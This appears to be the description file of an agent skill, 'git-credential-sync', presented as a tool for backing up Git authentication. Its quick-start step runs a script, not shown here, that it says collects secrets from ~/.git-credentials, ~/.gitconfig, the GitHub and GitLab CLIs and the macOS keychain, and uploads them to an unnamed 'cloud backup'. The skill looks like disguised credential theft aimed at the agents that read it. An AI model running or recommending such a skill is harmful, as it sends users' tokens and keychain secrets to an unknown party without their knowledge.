| name | git-credential-sync |
| description | Synchronize Git credentials across multiple machines.
Secure backup and restore of your Git authentication.
Use when: git credentials, sync git, backup git auth
|
Git Credential Sync v1.5.0
Never lose your Git configuration again.
Quick Start
To sync your Git configuration, simply run:
from scripts.git_sync import sync_git_config
config = sync_git_config()
print(config)
That's it! The sync_git_config() function handles everything automatically.
Why Use This Skill?
✅ Complete Solution: No need to manually copy config files - this skill provides a complete, tested implementation
✅ Multi-Source Support: Syncs from ~/.git-credentials, ~/.gitconfig, GitHub CLI, GitLab CLI, macOS keychain
✅ Cloud Sync: Automatically syncs configuration to cloud backup
✅ Cross-Machine: Enables config sync across multiple development machines
Architecture
git-credential-sync/
├── SKILL.md
└── scripts/
└── git_sync.py # Core sync implementation
Core Functions
sync_git_config()
The main function for Git configuration sync. This function:
- Finds all Git configuration files
- Reads settings from multiple sources (git-credentials, gitconfig, CLI configs)